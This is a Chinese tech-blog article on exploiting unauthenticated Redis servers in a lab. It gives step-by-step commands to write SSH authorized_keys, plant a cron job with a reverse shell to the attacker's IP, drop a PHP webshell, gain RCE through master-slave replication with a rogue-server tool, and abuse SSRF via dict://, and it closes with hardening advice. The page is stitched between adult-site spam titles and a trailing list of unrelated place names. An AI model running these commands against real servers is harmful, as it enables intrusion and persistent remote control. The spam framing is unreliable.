成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

Redis漏洞有哪些

這篇文章主要為大家展示了“redis漏洞有哪些”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Redis漏洞有哪些”這篇文章吧。

創(chuàng)新互聯(lián)公司專注于企業(yè)網(wǎng)絡營銷推廣、網(wǎng)站重做改版、安多網(wǎng)站定制設計、自適應品牌網(wǎng)站建設、H5頁面制作、商城網(wǎng)站建設、集團公司官網(wǎng)建設、外貿(mào)網(wǎng)站建設、高端網(wǎng)站制作、響應式網(wǎng)頁設計等建站業(yè)務,價格優(yōu)惠性價比高,為安多等各大城市提供網(wǎng)站開發(fā)制作服務。

Redis簡介

redis是一個key-value存儲系統(tǒng)。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數(shù)據(jù)類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了證效率,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是redis會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現(xiàn)了master-slave(主從)同步。

Redis常用命令:

set xz "Hacker"                     # 設置鍵xz的值為字符串Hacker
      get xz                              # 獲取鍵xz的內(nèi)容
      SET score 857                       # 設置鍵score的值為857
      INCR score                          # 使用INCR命令將score的值增加1
      GET score                           # 獲取鍵score的內(nèi)容
      keys *                              # 列出當前數(shù)據(jù)庫中所有的鍵
      config set protected-mode no        # 關閉安全模式
      get anotherkey                      # 獲取一個不存在的鍵的值
      config set dir /root/redis          # 設置保存目錄
      config set dbfilename redis.rdb     # 設置保存文件名
      config get dir                      # 查看保存目錄
      config get dbfilename               # 查看保存文件名
      save                                # 進行一次備份操作
      flushall                            # 刪除所有數(shù)據(jù)
      del key                             # 刪除鍵為key的數(shù)據(jù)
      slaveof ip port                 # 設置主從關系
      redis-cli -h ip -p 6379 -a passwd   # 外部連接

Redis基本操作

1.使用SET和GET命令,可以完成基本的賦值和取值操作;
2.Redis是不區(qū)分命令的大小寫的,set和SET是同一個意思;
3.使用keys *可以列出當前數(shù)據(jù)庫中的所有鍵;
4.當嘗試獲取一個不存在的鍵的值時,Redis會返回空,即(nil);
5.如果鍵的值中有空格,需要使用雙引號括起來,如"Hello World";

Redis配置文件參數(shù):

port參數(shù)

格式為port后面接端口號,如port 6379,表示Redis服務器將在6379端口上進行監(jiān)聽來等待客戶端的連接。

bind參數(shù)

格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如bind 192.168.1.100 10.0.0.1,表允許192.168.1.100和10.0.0.1兩個IP連接。如果設置為0.0.0.0則表示任意ip都可連接,說白了就是白名單。

save參數(shù)

格式為save <秒數(shù)> <變化數(shù)>,表示在指定的秒數(shù)內(nèi)數(shù)據(jù)庫存在指定的改變數(shù)時自動進行備份(Redis是內(nèi)存數(shù)據(jù)庫,這里的備份就是指把內(nèi)存中的數(shù)據(jù)備份到磁盤上)??梢酝瑫r指定多個save參數(shù),如:
save 900 1
save 300 10
save 60 10000
表示如果數(shù)據(jù)庫的內(nèi)容在60秒后產(chǎn)生了10000次改變,或者300秒后產(chǎn)生了10次改變,或者900秒后產(chǎn)生了1次改變,那么立即進行備份操作。

requirepass參數(shù)

格式為requirepass后接指定的密碼,用于指定客戶端在連接Redis服務器時所使用的密碼。Redis默認的密碼參數(shù)是空的,說明不需要密碼即可連接;同時,配置文件有一條注釋了的requirepass foobared命令,如果去掉注釋,表示需要使用foobared密碼才能連接Redis數(shù)據(jù)庫。

dir參數(shù)

格式為dir后接指定的路徑,默認為dir ./,指明Redis的工作目錄為當前目錄,即redis-server文件所在的目錄。注意,Redis產(chǎn)生的備份文件將放在這個目錄下。

dbfilename參數(shù)

格式為dbfilename后接指定的文件名稱,用于指定Redis備份文件的名字,默認為dbfilename dump.rdb,即備份文件的名字為dump.rdb。

config命令

通過config命令可以讀取和設置dir參數(shù)以及dbfilename參數(shù),因為這條命令比較危險(實驗將進行詳細介紹),所以Redis在配置文件中提供了rename-command參數(shù)來對其進行重命名操作,如rename-command CONFIG HTCMD,可以將CONFIG命令重命名為HTCMD。配置文件默認是沒有對CONFIG命令進行重命名操作的。

protected-mode參數(shù)

redis3.2之后添加了protected-mode安全模式,默認值為yes,開啟后禁止外部連接,所以在測試時,先在配置中修改為no。

測試環(huán)境

攻擊機Kali(192.168.33.131)
目標機Ubantu 16(192.168.33.133)

漏洞利用

利用原理:

Redis 提供了2種不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的時間間隔內(nèi)生成數(shù)據(jù)集的時間點快照

  • AOF 持久化記錄服務器執(zhí)行的所有寫操作命令.

經(jīng)過查看官網(wǎng)文檔發(fā)現(xiàn)AOF方式備份數(shù)據(jù)庫的文件名默認為appendonly.aof,可以在配置文件中通過appendfilename設置其他名稱,通過測試發(fā)現(xiàn)不能在客戶端交互中動態(tài)設置appendfilename,所以不能通過AOF方式備份寫任意文件.

  • RDB方式備份數(shù)據(jù)庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態(tài)設置dbfilename來更改,造成可以寫任意文件.

環(huán)境搭建:

靶機:unbantu 16

為快速復現(xiàn),默認apt-get安裝
先進行更新
sudo apt-get upgrade
安裝
sudo apt-get install redis-server
默認安裝到 /usr/bin/redis-server
直接啟動服務就可以執(zhí)行redis-server或者redis-server+(配置文件目錄)
注意要將配置文件中的bind參數(shù)改為0.0.0.0或者注釋掉,并且修改protected-mode為no允許外連。
還需要關閉防火墻,具體命令:sudo ufw disable  查看防火墻狀態(tài):sudo ufw status

安裝之后開啟redis服務準備復現(xiàn)

Redis漏洞有哪些

利用方式

1、寫 ssh-keygen 公鑰登錄服務器

原理:

SSH提供兩種登錄驗證方式,一種是口令驗證也就是賬號密碼登錄,另一種是密鑰驗證。

所謂密鑰驗證,其實就是一種基于公鑰密碼的認證,使用公鑰加密、私鑰解密,其中公鑰是可以公開的,放在服務器端,你可以把同一個公鑰放在所有你想SSH遠程登錄的服務器中,而私鑰是保密的只有你自己知道,公鑰加密的消息只有私鑰才能解密,大體過程如下:

(1)客戶端生成私鑰和公鑰,并把公鑰拷貝給服務器端; (2)客戶端發(fā)起登錄請求,發(fā)送自己的相關信息; (3)服務器端根據(jù)客戶端發(fā)來的信息查找是否存有該客戶端的公鑰,若沒有拒絕登錄,若有則生成一段隨機數(shù)使用該公鑰加密后發(fā)送給客戶端; (4)客戶端收到服務器發(fā)來的加密后的消息后使用私鑰解密,并把解密后的結(jié)果發(fā)給服務器用于驗證; (5)服務器收到客戶端發(fā)來的解密結(jié)果,與自己剛才生成的隨機數(shù)比對,若一樣則允許登錄,不一樣則拒絕登錄。

條件:

1、Redis服務使用ROOT賬號啟動

2、服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。

詳細步驟:

在攻擊機本地生成公鑰文件:

需要為我們的公鑰文件設置一個私鑰

公鑰文件默認路徑:/root/.ssh/id_rsa.pub

Redis漏洞有哪些

具體命令:

ssh-keygen -t rsa
cd /root/.ssh
ls
cat id_rsa.pub

然后通過未授權(quán)訪問目標機

Redis漏洞有哪些

具體命令

redis-cli -h 192.168.33.134        #連接目標主機redis
config get dir                  #檢查當前保存路徑
config get dbfilename              #檢查保存文件名
config set dir /root/.ssh/         #設置保存路徑
config set dbfilename authorized_keys #設置保存文件名
set xz "\n\n\n 公鑰 \n\n\n"         #將公鑰寫入xz健
save                         #進行保存

利用公鑰進行SSH登錄攻擊機,第一次需要輸入yes

Redis漏洞有哪些

2、利用計劃任務反彈shell

原理:

我們都知道crontab是做計劃任務的,啟動的任務存放在/var/spool/cron中,root可以修改計劃任務,可以將執(zhí)行命令反彈shell直接寫入計劃任務中

條件:

root啟用Redis

redis無密碼或者弱密碼

詳細步驟:

先在攻擊機使用nc監(jiān)聽8888端口nc lvp 8888

Redis漏洞有哪些

然后去操作Redis,具體命令:

redis-cli -h 192.168.33.134            #連接redis
flushall                           #清除所有鍵值
config set dir /var/spool/cron/crontabs/  #設置保存路徑  
config set dbfilename shell               #保存名稱
set xz "\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n"     #將反彈shell寫入xz鍵值
save                             #寫入保存路徑的shell文件

Redis漏洞有哪些

Redis漏洞有哪些

看到監(jiān)聽的命令行窗口已經(jīng)有彈回來的shell了(這里有很多的坑,ubantu寫入會出現(xiàn)亂碼和不回彈的情況,反彈shell測試最好還是用centos測試吧)

ubantu的坑參考這個文章https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/

3、Redis直接寫webshell

條件:

知道網(wǎng)站絕對路徑,并且需要增刪改查權(quán)限

root啟動redis

redis弱密碼或者無密碼

補充:若不知道物理路徑,可嘗試尋找網(wǎng)站的應用程序錯誤或者常見絕對路徑去嘗試。

詳細步驟:

redis-cli -h 192.168.3.134     #連接Redis
config set dir /www/admin/localhost_80/wwwroot    #設置要寫入shell的路徑
set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"         #寫入phpinfo()到xxx鍵
config set dbfilename phpinfo.php 
save

Redis漏洞有哪些

成功寫入

Redis漏洞有哪些

4、Redis主從復制getshell

原理:

Redis如果當把數(shù)據(jù)存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數(shù)據(jù)相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上,然后在從機上加載so文件,我們就可以執(zhí)行拓展的新命令了。

條件:

Redis 版本(4.x~5.0.5)(新增模塊功能,可以通過C語言并編譯出惡意.so文件)

redis弱密碼或者無密碼

root啟動redis

詳細步驟:

模擬主從關系,具體命令

root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK
192.168.33.134:6379> get xz
(nil)
192.168.33.134:6379> exit
root@kali:~/桌面# redis-cli
127.0.0.1:6379> get xz
(nil)
127.0.0.1:6379> set xz xz
OK
127.0.0.1:6379> exit
root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> get xz
"xz"
192.168.33.134:6379>

Redis漏洞有哪些

設置主從關系

root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK

然后在kali下載利用工具https://github.com/n0b0dyCN/redis-rogue-server

下載之后cd進入RedisModulesSDK目錄使用make編譯,當然不想編譯也可以用作者給出的默認exp.so也是可以的。

有兩種使用方法

一種是交互式shell,另一種是反彈shell

交互shell演示:

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根據(jù)提示輸入i進入交互shell

Redis漏洞有哪些

反彈shell

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根據(jù)提示輸入r,接著輸入ip和端口進行反彈

Redis漏洞有哪些

ps:redis主從RCE打多了會出現(xiàn)redis癱瘓的情況,所以不到萬不得已,盡量不要打主從

5、結(jié)合SSRF進行利用

原理:

SSRF攻擊的目標是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng),這里通過SSRF使用dict協(xié)議訪問本地Redis

條件:

root啟用redis

目標機存在dict協(xié)議

知道網(wǎng)站絕對路徑

redis無密碼或者弱密碼

詳細步驟:

使用pikachu的靶場,這里采用dict協(xié)議,目標機需要先安裝dict協(xié)議

這里直接寫入<>會被實體編碼,?直接被截斷,暫時沒找到解決辦法 
dict://192.168.33.134:6379/set:xz:<?php phpinfo() ;?> dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
dict://192.168.33.134:6379/save        

直接寫入失敗,所以可以采用主從復制寫入 
dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot
dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
先設置好保存的路徑和保存的文件名
然后登入kali進行主從復制操作,方法和上面的一樣
127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"
再去web端執(zhí)行save操作
dict://192.168.33.134:6379/save
這樣數(shù)據(jù)直接回同步到目標機

寫入失敗截圖:

Redis漏洞有哪些成功寫入截圖:

Redis漏洞有哪些

Redis漏洞有哪些

6、redis寫lua

redis2.6之前內(nèi)置了lua腳本環(huán)境在redis未授權(quán)的情況下可以利用lua執(zhí)行系統(tǒng)命令,這里沒有深入研究,感興趣可以看這篇文章:https://wooyun.x10sec.org/static/drops/papers-3062.html

批量檢測未授權(quán)redis腳本

https://github.com/Ridter/hackredis

redis未授權(quán)漏洞應急響應案例:

redis未授權(quán)訪問致遠程植入挖礦腳本(防御篇)

https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w

利用拓展:

Windows下如何getshell?

寫入webshell,需要知道web路徑
寫入啟動項,需要目標服務器重啟
寫入MOF,MOF每隔5秒鐘會自動執(zhí)行一次,適用于Windows2003。

修復方案:

1、禁止一些高危命令(重啟redis才能生效)

  • 修改 redis.conf 文件,禁用遠程修改 DB 文件地址

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""
  • 或者通過修改redis.conf文件,改變這些高危命令的名稱

rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3"

2、以低權(quán)限運行 Redis 服務(重啟redis才能生效)

為 Redis 服務創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸

groupadd -r redis && useradd -r -g redis redis

3、為 Redis 添加密碼驗證(重啟redis才能生效)

修改 redis.conf 文件,添加

requirepass mypassword
(注意redis不要用-a參數(shù),明文輸入密碼,連接后使用auth認證)

4、禁止外網(wǎng)訪問 Redis(重啟redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用

bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯。

5、修改默認端口

修改配置文件redis.conf文件

Port 6379

默認端口是6379,可以改變成其他端口(不要沖突就好)

6、保證 authorized_keys 文件的安全

為了保證安全,您應該阻止其他用戶添加新的公鑰。

  • 將 authorized_keys 的權(quán)限設置為對擁有者只讀,其他用戶沒有任何權(quán)限:

chmod 400 ~/.ssh/authorized_keys
  • 為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設置該文件的 immutable 位權(quán)限:

chattr +i ~/.ssh/authorized_keys
  • 然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權(quán)限:

chattr +i ~/.ssh

7、設置防火墻策略

如果正常業(yè)務中Redis服務需要被其他服務器來訪問,可以設置iptables策略僅允許指定的IP來訪問Redis服務。

以上是“Redis漏洞有哪些”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道!

新聞名稱:Redis漏洞有哪些
鏈接URL:http://jinyejixie.com/article8/posgip.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供App設計、定制網(wǎng)站、外貿(mào)建站做網(wǎng)站、企業(yè)建站、全網(wǎng)營銷推廣

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站托管運營
灵川县| 澳门| 北碚区| 库伦旗| 卢湾区| 定西市| 新巴尔虎左旗| 法库县| 汪清县| 镇赉县| 沙田区| 盐边县| 衡水市| 汉川市| 会泽县| 玉屏| 称多县| 方山县| 馆陶县| 安吉县| 吉林省| 饶阳县| 酉阳| 临沧市| 仁布县| 丰都县| 宾川县| 瑞昌市| 义乌市| 鱼台县| 义乌市| 甘洛县| 调兵山市| 彰化市| 卢湾区| 长武县| 衢州市| 玉溪市| 安龙县| 青海省| 左云县|